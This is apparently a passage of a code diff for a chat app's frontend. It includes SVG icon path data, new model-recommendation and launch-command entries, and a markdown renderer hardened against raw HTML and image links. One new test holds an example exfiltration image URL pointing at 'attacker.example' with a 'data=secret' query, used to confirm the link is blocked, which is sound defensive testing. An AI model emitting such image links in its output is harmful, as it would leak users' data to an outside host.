<svg xmlns="http://www.w3.org/2000/svg" width="1000" height="1000" viewBox="0 0 1000 1000"><circle cx="500.0" cy="500.0" r="500.0" fill="white"/><g transform="translate(100.0 100.0) scale(0.8333333333333334)"><g transform="translate(0.000000,960.000000) scale(0.100000,-0.100000)"
fill="black" stroke="none">
<path d="M4485 9589 c-248 -27 -432 -60 -730 -130 -458 -108 -798 -230 -1207
-435 -533 -267 -1072 -675 -1358 -1030 -205 -255 -442 -748 -535 -1114 -108
-426 -97 -870 29 -1160 73 -169 236 -369 381 -467 139 -94 425 -206 425 -167
0 3 -26 32 -58 63 -74 71 -147 182 -184 278 -16 41 -27 77 -25 79 2 3 31 -28
63 -68 91 -114 153 -177 231 -235 40 -29 77 -62 83 -73 7 -13 4 -85 -10 -242
-10 -123 -24 -281 -30 -353 -6 -71 -29 -296 -51 -500 -135 -1262 -202 -1568
-378 -1733 -69 -64 -105 -77 -216 -77 -132 0 -188 20 -271 97 -110 103 -165
248 -167 438 -1 123 12 191 60 318 20 51 33 95 29 99 -10 10 -92 -74 -136
-137 -153 -223 -204 -504 -146 -790 19 -91 97 -252 161 -333 112 -141 316
-237 504 -237 180 0 419 118 591 290 81 81 107 115 196 255 50 78 54 56 13
-71 -107 -337 -343 -577 -613 -625 -213 -39 -544 99 -707 295 -93 111 -133
199 -173 381 -34 153 -34 154 -46 135 -15 -23 -12 -194 5 -305 42 -280 149
-488 327 -636 133 -111 287 -195 465 -254 62 -20 115 -40 117 -44 3 -4 12 -43
21 -87 44 -222 199 -385 416 -438 96 -24 265 -21 359 5 138 38 281 148 388
297 39 55 48 63 50 45 4 -27 -38 -185 -78 -294 -80 -217 -176 -374 -312 -515
-54 -55 -98 -104 -98 -107 0 -4 245 -7 545 -7 l544 0 126 66 c69 36 130 64
135 62 6 -2 -10 -28 -34 -59 -46 -59 -48 -69 -10 -69 17 0 32 15 58 59 36 59
51 71 87 71 23 0 25 -27 4 -77 -8 -19 -15 -39 -15 -44 0 -12 447 -11 470 1 10
5 85 87 168 182 257 297 400 415 317 263 -16 -30 -26 -57 -23 -60 11 -12 210
100 383 215 115 76 226 143 375 225 58 32 178 100 266 151 150 87 244 132 244
117 0 -4 -78 -86 -174 -182 -207 -208 -246 -254 -334 -386 -48 -71 -122 -157
-259 -298 -117 -120 -193 -206 -193 -217 0 -19 8 -20 115 -20 101 0 116 2 122
18 19 54 112 249 156 327 124 221 283 436 369 502 87 67 225 152 337 209 103
51 297 117 384 130 38 6 29 -2 -92 -75 -74 -45 -170 -107 -214 -139 -106 -76
-247 -225 -332 -351 -67 -99 -70 -102 -79 -77 -6 14 -13 26 -18 26 -11 0 -57
-75 -94 -155 -63 -136 -124 -376 -103 -401 15 -18 152 -19 166 -2 6 7 18 36
27 63 23 72 66 131 217 301 302 339 430 464 590 577 148 104 233 128 520 148
205 14 255 9 447 -38 118 -29 183 -65 298 -163 229 -195 538 -577 579 -715 24
-83 71 -117 109 -79 9 8 16 27 16 42 0 62 -40 212 -73 277 -158 313 -551 635
-922 755 -127 41 -142 55 -52 46 117 -11 231 -35 321 -65 158 -54 259 -123
405 -277 164 -174 283 -379 322 -556 11 -51 25 -113 32 -137 36 -128 148 -81
117 49 -14 60 -7 106 27 177 36 74 62 94 224 179 254 133 425 260 561 417 272
315 403 732 358 1138 -24 218 -84 401 -179 545 -65 98 -155 203 -166 192 -3
-3 7 -37 23 -75 136 -309 136 -725 2 -1063 -130 -330 -441 -760 -633 -879 -60
-37 -60 -20 2 54 478 577 578 1337 315 2390 -25 99 -86 326 -136 505 -169 611
-386 1539 -494 2109 -161 857 -200 998 -442 1606 -161 405 -321 692 -529 950
-93 114 -322 343 -433 431 -203 160 -497 332 -737 428 -293 118 -702 220 -978
246 -129 12 -406 11 -520 -1z m-267 -214 c301 -47 596 -191 852 -419 85 -76
266 -270 345 -371 294 -376 520 -873 640 -1409 45 -199 45 -222 3 -244 -18 -9
-45 -30 -61 -45 -25 -23 -28 -33 -23 -60 9 -44 21 -54 121 -98 91 -40 225
-124 225 -140 0 -9 -33 5 -211 89 -126 60 -159 94 -167 173 -5 50 14 89 43 89
26 0 65 49 65 81 0 52 -22 110 -48 127 -23 15 -37 14 -186 -7 -172 -25 -210
-36 -240 -69 -23 -27 -31 -99 -14 -131 16 -29 30 -37 85 -51 26 -7 44 -17 48
-29 10 -32 -15 -153 -41 -197 -27 -49 -131 -161 -139 -152 -9 9 36 77 85 126
23 24 48 60 56 79 13 31 13 38 -3 71 -10 20 -29 42 -43 48 -14 7 -37 18 -52
24 -33 15 -42 39 -63 155 -24 133 -90 393 -135 532 -119 367 -287 686 -483
919 -175 208 -434 427 -659 557 -229 131 -498 197 -804 197 -136 0 -185 -4
-313 -26 -87 -14 -31 14 137 70 186 61 289 89 437 117 120 23 376 20 543 -6z
m2913 -962 c50 -53 113 -138 198 -268 76 -116 60 -104 -41 32 -34 46 -63 81
-66 79 -2 -2 2 -30 9 -63 9 -44 9 -86 1 -171 -6 -63 -13 -116 -16 -119 -3 -4
-15 2 -26 12 -32 29 -34 12 -5 -57 50 -118 66 -160 62 -164 -2 -2 -29 34 -61
81 -31 47 -61 83 -66 80 -6 -4 -7 -24 -4 -47 7 -39 6 -40 -14 -27 -12 7 -25
10 -29 5 -17 -17 -4 -106 31 -210 20 -60 35 -111 33 -112 -2 -2 -30 43 -62 99
-60 102 -173 233 -182 210 -2 -7 26 -82 62 -168 37 -85 65 -160 63 -166 -2 -6
-43 66 -91 160 -63 121 -93 171 -106 171 -9 0 -37 -21 -61 -46 -55 -56 -56
-56 -248 20 -78 31 -156 59 -172 63 l-30 6 24 -54 c13 -30 51 -114 85 -188 34
-73 60 -135 58 -137 -2 -3 -21 24 -42 58 -56 91 -85 128 -102 128 -13 0 -14
-8 -9 -42 l7 -42 -83 80 c-109 106 -163 133 -260 126 -35 -3 -38 0 -53 34 -9
21 -13 44 -11 51 7 17 58 16 147 -2 101 -21 104 -17 92 106 -6 52 -7 98 -3
102 4 5 25 -20 47 -55 22 -35 47 -68 54 -75 18 -14 278 -83 316 -83 23 0 42
13 86 59 61 64 64 72 42 111 -19 33 -19 54 0 46 11 -4 23 6 37 30 l21 35 66
-3 66 -3 -2 29 c-1 16 -25 63 -52 105 -28 41 -49 77 -47 78 2 2 47 -42 101
-97 75 -76 105 -100 125 -100 14 0 35 -7 47 -15 20 -14 22 -14 27 2 3 10 6 72
7 138 2 102 -1 128 -19 175 -12 30 -22 56 -22 58 0 9 40 -22 71 -55z m-2642
-139 c29 -35 60 -64 67 -64 8 0 52 27 97 61 l82 60 47 -51 c59 -63 161 -218
218 -327 23 -46 48 -83 55 -83 8 0 26 5 41 11 49 18 73 4 104 -64 33 -70 48
-127 33 -127 -6 0 -32 9 -58 21 -28 12 -56 18 -71 15 -21 -6 -27 1 -55 56 -67
132 -208 340 -244 361 -10 5 -19 -1 -29 -22 -29 -55 -35 -106 -20 -183 8 -40
14 -74 14 -75 0 -1 -12 2 -26 8 l-27 10 7 -62 c6 -61 6 -62 -14 -44 -15 14
-31 17 -72 13 -58 -6 -88 -32 -88 -76 l0 -26 -29 34 c-29 35 -30 35 -122 38
-52 2 -99 8 -106 14 -15 12 -83 132 -83 146 0 6 23 39 50 73 56 70 68 99 52
134 -12 27 -15 25 81 46 65 14 68 21 42 105 -26 85 -18 85 54 -2z m-397 -294
c84 -126 196 -352 237 -475 33 -99 28 -115 -23 -66 -45 44 -55 29 -49 -77 5
-95 -4 -97 -33 -7 -22 67 -52 125 -64 125 -6 0 -10 -39 -11 -92 0 -51 -4 -101
-8 -111 -9 -23 -10 -22 -85 101 -32 50 -62 92 -68 92 -7 0 -9 -22 -4 -70 6
-74 -3 -90 -24 -40 -21 50 -33 54 -87 30 -26 -11 -57 -30 -69 -41 -20 -19 -21
-19 -75 10 -30 17 -91 41 -137 54 -46 13 -89 30 -97 38 -16 16 -45 142 -36
157 3 5 58 33 121 61 l114 51 21 -26 21 -26 49 39 c51 40 69 66 80 116 5 23
10 28 32 25 19 -2 28 -11 37 -38 37 -115 42 114 6 250 -45 171 -47 164 22 90
33 -36 92 -112 130 -170z m-1789 73 c-3 -10 -32 -77 -63 -148 -48 -109 -137
-340 -242 -628 -11 -32 -22 -56 -24 -54 -2 2 -9 32 -14 68 -24 141 -20 131
-47 124 -13 -3 -50 -18 -81 -33 -43 -20 -62 -37 -79 -67 -32 -59 -40 -65 -88
-65 -55 0 -56 6 -16 106 29 75 176 339 194 351 12 7 14 14 -47 -125 -25 -56
-46 -113 -46 -127 0 -25 0 -25 35 -11 109 46 179 120 301 316 135 217 241 360
217 293z m-869 -35 c-4 -7 -33 -49 -64 -93 -140 -200 -268 -431 -368 -665
-114 -268 -153 -314 -74 -86 41 115 44 129 29 137 -28 16 -39 80 -22 128 27
77 98 202 139 246 58 61 355 345 362 345 3 0 2 -6 -2 -12z m1415 -533 l1 -130
-23 39 c-26 47 -41 51 -45 14 -4 -36 -18 -35 -37 1 -8 17 -19 32 -25 36 -5 3
-60 -10 -122 -30 -76 -25 -130 -36 -165 -36 -29 1 -82 -5 -118 -14 -99 -23
-109 -21 -149 29 -20 23 -36 50 -36 58 0 12 55 182 75 231 11 27 38 21 147
-34 76 -38 108 -49 130 -45 21 4 28 2 28 -9 0 -10 11 -15 34 -15 45 0 153 34
177 56 10 9 35 69 55 133 56 180 58 180 65 1 4 -85 7 -213 8 -285z m-1394 272
c-31 -55 -32 -83 -2 -91 47 -12 65 -6 97 34 18 23 34 39 36 38 2 -2 -20 -48
-48 -102 l-50 -99 33 7 c84 17 149 19 149 5 0 -8 -37 -104 -82 -213 -74 -177
-83 -195 -86 -162 -4 50 -26 56 -66 17 -17 -17 -35 -31 -39 -31 -4 0 -7 18 -7
40 0 28 -6 43 -18 51 -15 10 -18 21 -14 65 8 93 -18 69 -89 -80 -35 -74 -65
-133 -67 -131 -3 2 5 35 17 74 11 38 21 74 21 80 0 6 -35 11 -87 13 l-88 3 3
30 c4 42 162 364 187 381 11 8 44 14 76 14 55 0 59 2 93 42 20 23 36 45 36 50
0 4 5 8 10 8 6 0 -1 -20 -15 -43z m1710 6 c120 -17 143 -19 164 -12 10 3 21
-17 37 -67 24 -77 75 -306 69 -312 -2 -2 -21 14 -43 37 l-39 41 -145 0 c-128
0 -148 2 -170 19 -16 13 -29 17 -39 10 -8 -5 -17 -9 -20 -9 -10 0 -66 178 -74
232 -4 25 -4 56 0 68 7 21 11 22 79 16 39 -4 121 -14 181 -23z m-79 -988 c74
-190 129 -303 247 -514 76 -136 79 -145 62 -157 -24 -17 -76 -18 -98 -1 -21
16 -126 237 -165 347 -30 87 -143 516 -141 541 1 19 17 -19 95 -216z m3644 61
c64 -163 185 -534 301 -926 66 -223 147 -490 179 -595 175 -566 250 -858 321
-1240 22 -121 43 -231 46 -245 4 -18 3 -22 -6 -15 -6 6 -22 71 -36 145 -58
313 -100 487 -200 820 -40 135 -94 317 -120 405 -161 550 -413 1387 -465 1540
-55 165 -67 205 -56 194 2 -2 18 -39 36 -83z m-4395 -812 c61 -60 129 -118
149 -128 46 -22 69 -19 238 25 70 18 130 30 133 27 3 -3 -19 -42 -49 -87 -53
-78 -75 -125 -63 -137 14 -14 111 32 205 96 57 38 136 85 176 104 84 40 299
116 327 116 12 0 37 -24 66 -65 25 -36 54 -67 62 -69 9 -2 178 -1 376 2 l360
7 10 70 c10 68 10 69 22 40 7 -16 17 -49 23 -73 14 -53 18 -55 187 -82 178
-28 191 -33 200 -78 12 -57 8 -612 -6 -742 -17 -170 -53 -395 -141 -880 -206
-1142 -248 -1540 -194 -1863 8 -49 12 -97 9 -107 -8 -24 -195 -200 -213 -200
-7 0 -21 14 -30 31 -140 256 -353 528 -467 594 -66 39 -95 39 -361 1 -137 -19
-303 -40 -368 -47 -128 -12 -307 -7 -368 11 -54 16 -140 78 -185 132 -41 51
-348 610 -438 801 -105 220 -178 478 -191 667 -7 97 11 328 25 343 5 5 23 -17
41 -49 18 -32 72 -97 125 -148 54 -53 97 -104 101 -120 12 -50 -1 -119 -34
-170 -22 -33 -32 -62 -32 -88 0 -45 31 -126 70 -182 23 -35 28 -50 23 -82 -3
-24 4 -70 17 -119 18 -68 28 -87 68 -128 59 -60 118 -101 132 -92 6 4 10 18 8
32 -3 22 3 28 48 44 28 11 59 28 70 40 l18 20 -107 -7 c-118 -8 -146 0 -166
43 -17 37 -14 52 18 84 33 33 78 41 66 12 -14 -31 -16 -77 -5 -93 9 -13 14
-11 36 14 21 24 25 37 21 68 -5 37 -4 38 36 49 56 15 192 6 242 -15 l40 -17
-27 -20 c-66 -49 -1 -50 120 -2 80 31 92 40 92 64 0 33 -30 52 -72 45 -33 -5
-51 1 -140 49 -226 121 -267 139 -327 139 -31 1 -68 -3 -83 -8 -24 -7 -32 -3
-62 30 -62 67 -63 76 -30 145 53 111 38 151 -110 308 -88 93 -131 162 -142
230 -11 67 0 84 99 164 142 113 222 232 261 384 46 178 -18 329 -188 441 -74
48 -75 49 -51 60 35 16 31 28 -20 64 -31 22 -41 34 -32 40 21 14 168 59 252
77 67 15 80 21 83 39 2 12 -33 92 -82 187 -100 193 -117 263 -35 144 28 -41
102 -124 164 -185z m-430 -364 c-13 -21 19 -51 100 -97 78 -43 142 -93 119
-93 -5 0 -34 7 -64 15 -69 19 -148 19 -180 0 -24 -14 -24 -14 21 -15 63 0 238
-37 267 -56 24 -16 42 -52 42 -85 0 -17 -8 -14 -57 24 -92 71 -138 91 -213 90
-36 0 -85 -8 -109 -17 -55 -20 -64 -14 -103 71 -37 82 -36 104 4 127 60 36
190 63 173 36z m4328 -154 c76 -37 148 -103 127 -116 -27 -17 -107 -10 -174
15 -91 34 -212 35 -310 1 -55 -19 -76 -22 -100 -14 -17 5 -37 12 -45 14 -17 6
18 45 66 75 76 47 131 59 258 57 109 -3 125 -6 178 -32z m-4293 -282 c3 -28
11 -58 17 -66 7 -8 12 -30 12 -49 -1 -40 10 -72 46 -128 33 -53 32 -67 -5 -80
-78 -27 -118 37 -133 210 -10 105 -9 120 7 144 27 42 50 29 56 -31z m-53 -438
c-4 -9 -11 -16 -17 -16 -11 0 -14 33 -3 44 11 10 26 -11 20 -28z m449 -922
c60 -20 62 -23 44 -34 -23 -15 -104 -12 -126 5 -19 15 -19 15 0 30 24 18 22
19 82 -1z m5843 -211 c82 -179 180 -472 218 -653 34 -160 38 -387 10 -517 -37
-172 -107 -345 -191 -471 -81 -122 -215 -266 -232 -249 -2 2 10 37 27 78 188
447 261 1077 185 1584 -15 98 -31 196 -35 217 -10 44 0 50 18 11z m-2689 -313
c25 -333 24 -319 22 -342 -1 -10 -66 -56 -164 -115 -175 -106 -203 -121 -196
-101 3 7 26 81 53 163 39 124 214 633 241 699 15 37 22 -12 44 -304z m110
-832 c37 -172 37 -173 -56 -257 -80 -73 -143 -103 -230 -109 -105 -7 -132 9
-183 108 -53 101 -53 132 -3 177 21 19 126 88 233 153 182 111 194 117 201 97
3 -12 20 -88 38 -169z m-1046 -650 c67 -151 141 -236 331 -383 138 -106 239
-173 309 -204 42 -18 47 -23 36 -36 -7 -9 -110 -81 -229 -160 -178 -118 -251
-161 -416 -238 -110 -51 -250 -117 -312 -147 -62 -29 -118 -50 -126 -47 -7 3
-24 34 -36 69 -28 77 -74 158 -252 445 -75 122 -140 231 -144 242 -6 19 -2 21
42 21 63 0 171 24 230 50 35 15 99 72 238 209 182 180 271 261 285 261 4 0 24
-37 44 -82z m-2387 -88 c-10 -81 -64 -284 -102 -378 -55 -136 -119 -238 -204
-323 -108 -107 -162 -132 -306 -137 -109 -4 -111 -3 -175 30 -42 22 -76 48
-98 78 l-35 45 114 7 c338 22 478 105 645 383 29 50 70 131 89 180 49 124 67
165 73 165 3 0 2 -22 -1 -50z m1647 -1402 c-54 -78 -300 -358 -315 -358 -16 0
-10 15 29 76 113 173 323 408 330 370 2 -10 -18 -49 -44 -88z"/>
<path d="M3229 5845 c-108 -15 -150 -30 -198 -71 -49 -41 -111 -123 -111 -146
0 -18 5 -20 40 -15 22 3 40 3 40 1 0 -2 -9 -26 -20 -53 -12 -32 -16 -52 -9
-56 9 -6 7 -23 -8 -62 -3 -8 4 -13 20 -13 16 0 26 -7 30 -20 8 -30 33 -24 48
12 15 37 122 148 142 148 12 0 11 -10 0 -56 -17 -66 -10 -118 17 -137 15 -11
19 -21 14 -44 -5 -25 2 -39 44 -90 28 -33 66 -67 85 -76 39 -19 112 -22 152
-7 39 15 108 74 140 121 27 38 28 41 13 72 -15 32 -15 34 8 54 13 12 24 33 24
47 l0 25 38 -17 c58 -26 111 -62 122 -81 6 -13 3 -29 -11 -57 -98 -186 -404
-264 -685 -174 -101 32 -143 37 -162 18 -21 -21 -13 -28 31 -28 49 0 82 -19
91 -53 5 -20 11 -23 31 -19 14 2 31 0 38 -6 17 -14 145 -34 168 -27 11 4 26 1
34 -5 9 -7 23 -9 37 -4 13 5 41 9 63 11 22 1 51 3 65 4 14 1 37 -1 52 -5 21
-6 27 -4 33 13 5 18 14 21 55 21 43 0 49 3 52 23 3 19 10 22 51 25 49 3 53 7
37 32 -11 17 4 30 38 30 15 0 22 6 22 19 0 14 16 27 55 45 40 18 56 31 61 51
3 14 16 32 27 40 18 13 20 18 10 34 -11 17 -8 21 25 35 100 44 116 63 55 68
-33 3 -38 6 -36 26 3 22 0 22 -45 16 -44 -6 -49 -4 -83 29 -58 56 -354 199
-469 227 -116 28 -147 43 -70 36 30 -3 108 -23 173 -45 64 -22 117 -36 117
-31 0 13 -23 24 -160 75 -142 53 -197 60 -331 40z"/>
<path d="M3027 5303 c-3 -5 -2 -15 2 -22 7 -10 10 -10 16 -1 4 6 3 16 -3 22
-5 5 -12 6 -15 1z"/>
<path d="M2180 4462 c0 -11 136 -122 149 -122 19 0 12 46 -11 75 -12 15 -36
34 -54 41 -37 15 -84 19 -84 6z"/>
</g></g></svg>

After

Width:  |  Height:  |  Size: 13 KiB

+25
View File
@@ -406,6 +406,31 @@ export async function* pullModel(
}
}
export interface ModelRecommendation {
model: string;
description: string;
context_length?: number;
max_output_tokens?: number;
vram_bytes?: number;
}
export interface ModelRecommendationsResponse {
recommendations: ModelRecommendation[];
}
export async function getModelRecommendations(): Promise<ModelRecommendation[]> {
const response = await fetch(
`${API_BASE}/api/experimental/model-recommendations`,
);
if (!response.ok) {
throw new Error(
`Failed to fetch model recommendations: ${response.statusText}`,
);
}
const data: ModelRecommendationsResponse = await response.json();
return data.recommendations || [];
}
export async function getInferenceCompute(): Promise<InferenceComputeResponse> {
const response = await fetch(`${API_BASE}/api/v1/inference-compute`);
if (!response.ok) {
+37 -12
View File
@@ -13,6 +13,30 @@ interface LaunchCommand {
}
const LAUNCH_COMMANDS: LaunchCommand[] = [
{
id: "claude",
name: "Claude Code",
command: "ollama launch claude",
description: "Anthropic's coding tool with subagents",
icon: "/launch-icons/claude-code.svg",
iconClassName: "h-7 w-7",
},
{
id: "codex-app",
name: "Codex App",
command: "ollama launch codex-app",
description: "An AI agent you can delegate real work to, by OpenAI",
icon: "/launch-icons/codex-app.png",
iconClassName: "h-full w-full",
},
{
id: "hermes",
name: "Hermes Agent",
command: "ollama launch hermes",
description: "Self-improving AI agent built by Nous Research",
icon: "/launch-icons/hermes-agent.svg",
iconClassName: "h-7 w-7",
},
{
id: "openclaw",
name: "OpenClaw",
@@ -21,12 +45,12 @@ const LAUNCH_COMMANDS: LaunchCommand[] = [
icon: "/launch-icons/openclaw.svg",
},
{
id: "claude",
name: "Claude",
command: "ollama launch claude",
description: "Anthropic's coding tool with subagents",
icon: "/launch-icons/claude.svg",
iconClassName: "h-7 w-7",
id: "opencode",
name: "OpenCode",
command: "ollama launch opencode",
description: "Anomaly's open-source coding agent",
icon: "/launch-icons/opencode.svg",
iconClassName: "h-7 w-7 rounded",
},
{
id: "codex",
@@ -38,12 +62,13 @@ const LAUNCH_COMMANDS: LaunchCommand[] = [
iconClassName: "h-7 w-7",
},
{
id: "opencode",
name: "OpenCode",
command: "ollama launch opencode",
description: "Anomaly's open-source coding agent",
icon: "/launch-icons/opencode.svg",
iconClassName: "h-7 w-7 rounded",
id: "copilot",
name: "Copilot CLI",
command: "ollama launch copilot",
description: "GitHub's AI coding agent for the terminal",
icon: "/launch-icons/copilot.svg",
darkIcon: "/launch-icons/copilot-dark.svg",
iconClassName: "h-7 w-7",
},
{
id: "droid",
@@ -0,0 +1,61 @@
import { renderToStaticMarkup } from "react-dom/server";
import type React from "react";
import { beforeEach, describe, expect, it, vi } from "vitest";
type MockStreamdownProps = {
children?: React.ReactNode;
components: {
img: React.ComponentType<React.ImgHTMLAttributes<HTMLImageElement>>;
};
rehypePlugins?: unknown[];
};
const streamdownMock = vi.hoisted(() =>
vi.fn((props: MockStreamdownProps) => props.children),
);
vi.mock("streamdown", () => ({
Streamdown: streamdownMock,
defaultRehypePlugins: {
katex: "katex",
raw: "raw",
},
defaultRemarkPlugins: {
gfm: "gfm",
math: "math",
},
}));
import StreamingMarkdownContent from "./StreamingMarkdownContent";
describe("StreamingMarkdownContent", () => {
beforeEach(() => {
streamdownMock.mockClear();
});
it("does not enable raw HTML parsing", () => {
renderToStaticMarkup(
<StreamingMarkdownContent content="<iframe></iframe>" />,
);
const props = streamdownMock.mock.calls[0][0];
expect(props.rehypePlugins).toEqual(["katex"]);
expect(props.rehypePlugins).not.toContain("raw");
});
it("does not render markdown image src values", () => {
renderToStaticMarkup(
<StreamingMarkdownContent content="![secret](https://attacker.example/pixel?data=secret)" />,
);
const props = streamdownMock.mock.calls[0][0];
const Img = props.components.img;
const html = renderToStaticMarkup(
<Img alt="secret" src="https://attacker.example/pixel?data=secret" />,
);
expect(html).not.toContain("<img");
expect(html).not.toContain("attacker.example");
expect(html).toContain("secret");
});
});
@@ -1,5 +1,9 @@
import React from "react";
import { Streamdown, defaultRemarkPlugins } from "streamdown";
import {
Streamdown,
defaultRehypePlugins,
defaultRemarkPlugins,
} from "streamdown";
import remarkCitationParser from "@/utils/remarkCitationParser";
import CopyButton from "./CopyButton";
import type { BundledLanguage } from "shiki";
@@ -29,6 +33,8 @@ const extractText = (node: React.ReactNode): string => {
return "";
};
const safeRehypePlugins = [defaultRehypePlugins.katex];
const CodeBlock = React.memo(
({ children }: React.HTMLAttributes<HTMLPreElement>) => {
// Extract code and language from children
@@ -210,9 +216,12 @@ const StreamingMarkdownContent: React.FC<StreamingMarkdownContentProps> =
<Streamdown
parseIncompleteMarkdown={isStreaming}
isAnimating={isStreaming}
rehypePlugins={safeRehypePlugins}
remarkPlugins={remarkPlugins}
controls={false}
components={{
img: ({ alt }: React.ImgHTMLAttributes<HTMLImageElement>) =>
alt ? <span>{alt}</span> : null,
pre: CodeBlock,
table: ({
children,
+5 -5
View File
@@ -381,7 +381,7 @@ export const useSendMessage = (chatId: string) => {
role: "assistant",
content: "",
thinking: "",
model: effectiveModel,
model: effectiveModel.model,
}),
);
lastMessage = newMessages[newMessages.length - 1];
@@ -433,7 +433,7 @@ export const useSendMessage = (chatId: string) => {
role: "assistant",
content: "",
thinking: "",
model: effectiveModel,
model: effectiveModel.model,
}),
);
lastMessage = newMessages[newMessages.length - 1];
@@ -520,7 +520,7 @@ export const useSendMessage = (chatId: string) => {
thinkingTimeStart:
lastMessage.thinkingTimeStart || event.thinkingTimeStart,
thinkingTimeEnd: event.thinkingTimeEnd,
model: selectedModel,
model: selectedModel.model,
});
newMessages[newMessages.length - 1] = updatedMessage;
} else {
@@ -533,7 +533,7 @@ export const useSendMessage = (chatId: string) => {
tool_calls: event.toolCalls,
thinkingTimeStart: event.thinkingTimeStart,
thinkingTimeEnd: event.thinkingTimeEnd,
model: selectedModel,
model: selectedModel.model,
}),
);
}
@@ -699,7 +699,7 @@ export const useSendMessage = (chatId: string) => {
queryClient.setQueryData(["chat", newId], {
chat: new Chat({
id: newId,
model: effectiveModel,
model: effectiveModel.model,
messages: [
new Message({
role: "user",
+13
View File
@@ -0,0 +1,13 @@
import { useQuery } from "@tanstack/react-query";
import { getModelRecommendations } from "@/api";
import type { ModelRecommendation } from "@/api";
export function useFeaturedModels() {
return useQuery<ModelRecommendation[], Error>({
queryKey: ["modelRecommendations"],
queryFn: getModelRecommendations,
staleTime: 5 * 60 * 1000,
gcTime: 30 * 60 * 1000,
refetchOnWindowFocus: false,
});
}
+35 -24
View File
@@ -1,51 +1,49 @@
import { useQuery } from "@tanstack/react-query";
import { Model } from "@/gotypes";
import { getModels } from "@/api";
import { mergeModels } from "@/utils/mergeModels";
import { useMemo } from "react";
import { useCloudStatus } from "./useCloudStatus";
import { useFeaturedModels } from "./useFeaturedModels";
export function useModels(searchQuery = "") {
const { cloudDisabled } = useCloudStatus();
const { data: recommendations, isLoading: recommendationsLoading } =
useFeaturedModels();
const localQuery = useQuery<Model[], Error>({
queryKey: ["models", searchQuery],
queryFn: () => getModels(searchQuery),
gcTime: 10 * 60 * 1000, // Keep in cache for 10 minutes
gcTime: 10 * 60 * 1000,
retry: 10,
// exponential backoff, starting at 100ms and capping at 5s
retryDelay: (attemptIndex) => Math.min(100 * 2 ** attemptIndex, 5000),
refetchOnWindowFocus: true,
refetchInterval: 30 * 1000, // Refetch every 30 seconds to keep models updated
refetchInterval: 30 * 1000,
refetchIntervalInBackground: true,
});
const allModels = useMemo(() => {
const models = mergeModels(localQuery.data || [], cloudDisabled);
const local = localQuery.data || [];
const featured = (recommendations || []).map((r) => r.model);
const featuredSet = new Set(featured);
if (searchQuery && searchQuery.trim()) {
const query = searchQuery.toLowerCase().trim();
const filteredModels = models.filter((model) =>
model.model.toLowerCase().includes(query),
);
// Recommended models first (using the local copy when downloaded),
// then everything else from /api/tags in tags order.
const recommended = featured.map(
(name) =>
local.find((m) => m.model === name) || new Model({ model: name }),
);
const rest = local.filter((m) => !featuredSet.has(m.model));
const merged = [...recommended, ...rest];
const seen = new Set<string>();
return filteredModels.filter((model) => {
const currentModel = model.model.toLowerCase();
if (seen.has(currentModel)) {
return false;
}
seen.add(currentModel);
return true;
});
}
return models;
}, [localQuery.data, searchQuery, cloudDisabled]);
const visible = cloudDisabled
? merged.filter((m) => !m.isCloud())
: merged;
return filterBySearch(visible, searchQuery);
}, [localQuery.data, searchQuery, cloudDisabled, recommendations]);
return {
...localQuery,
data: allModels,
isLoading: localQuery.isLoading,
isLoading: localQuery.isLoading || recommendationsLoading,
};
}
@@ -53,3 +51,16 @@ export function useRefetchModels() {
const { refetch } = useModels();
return refetch;
}
function filterBySearch(models: Model[], query: string): Model[] {
const q = query.trim().toLowerCase();
if (!q) return models;
const seen = new Set<string>();
return models.filter((m) => {
const name = m.model.toLowerCase();
if (!name.includes(q) || seen.has(name)) return false;
seen.add(name);
return true;
});
}
+1 -4
View File
@@ -4,7 +4,6 @@ import { useModels } from "./useModels";
import { useChat } from "./useChats";
import { useSettings } from "./useSettings.ts";
import { Model } from "@/gotypes";
import { FEATURED_MODELS } from "@/utils/mergeModels";
import { getTotalVRAM } from "@/utils/vram.ts";
import { getInferenceCompute } from "@/api";
import { useCloudStatus } from "./useCloudStatus";
@@ -92,9 +91,7 @@ export function useSelectedModel(currentChatId?: string, searchQuery?: string) {
(settings.selectedModel &&
new Model({
model: settings.selectedModel,
cloud: FEATURED_MODELS.some(
(f) => f.endsWith("cloud") && f === settings.selectedModel,
),
cloud: settings.selectedModel.endsWith("cloud"),
ollama_host: false,
})) ||
null
-128
View File
@@ -1,128 +0,0 @@
import { describe, it, expect } from "vitest";
import { Model } from "@/gotypes";
import { mergeModels, FEATURED_MODELS } from "@/utils/mergeModels";
import "@/api";
describe("Model merging logic", () => {
it("should handle cloud models with -cloud suffix", () => {
const localModels: Model[] = [
new Model({ model: "gpt-oss:120b-cloud" }),
new Model({ model: "llama3:latest" }),
new Model({ model: "mistral:latest" }),
];
const merged = mergeModels(localModels);
// First verify cloud models are first and in FEATURED_MODELS order
const cloudModels = FEATURED_MODELS.filter((m: string) =>
m.endsWith("cloud"),
);
for (let i = 0; i < cloudModels.length; i++) {
expect(merged[i].model).toBe(cloudModels[i]);
expect(merged[i].isCloud()).toBe(true);
}
// Then verify non-cloud featured models are next and in FEATURED_MODELS order
const nonCloudFeatured = FEATURED_MODELS.filter(
(m: string) => !m.endsWith("cloud"),
);
for (let i = 0; i < nonCloudFeatured.length; i++) {
const model = merged[i + cloudModels.length];
expect(model.model).toBe(nonCloudFeatured[i]);
expect(model.isCloud()).toBe(false);
}
// Verify local models are preserved and come after featured models
const featuredCount = FEATURED_MODELS.length;
expect(merged[featuredCount].model).toBe("llama3:latest");
expect(merged[featuredCount + 1].model).toBe("mistral:latest");
// Length should be exactly featured models plus our local models
expect(merged.length).toBe(FEATURED_MODELS.length + 2);
});
it("should hide cloud models when cloud is disabled", () => {
const localModels: Model[] = [
new Model({ model: "gpt-oss:120b-cloud" }),
new Model({ model: "llama3:latest" }),
new Model({ model: "mistral:latest" }),
];
const merged = mergeModels(localModels, true); // cloud disabled = true
// No cloud models should be present
const cloudModels = merged.filter((m) => m.isCloud());
expect(cloudModels.length).toBe(0);
// Should have non-cloud featured models
const nonCloudFeatured = FEATURED_MODELS.filter(
(m) => !m.endsWith("cloud"),
);
for (let i = 0; i < nonCloudFeatured.length; i++) {
const model = merged[i];
expect(model.model).toBe(nonCloudFeatured[i]);
expect(model.isCloud()).toBe(false);
}
// Local models should be preserved
const featuredCount = nonCloudFeatured.length;
expect(merged[featuredCount].model).toBe("llama3:latest");
expect(merged[featuredCount + 1].model).toBe("mistral:latest");
});
it("should handle empty input", () => {
const merged = mergeModels([]);
// First verify cloud models are first and in FEATURED_MODELS order
const cloudModels = FEATURED_MODELS.filter((m) => m.endsWith("cloud"));
for (let i = 0; i < cloudModels.length; i++) {
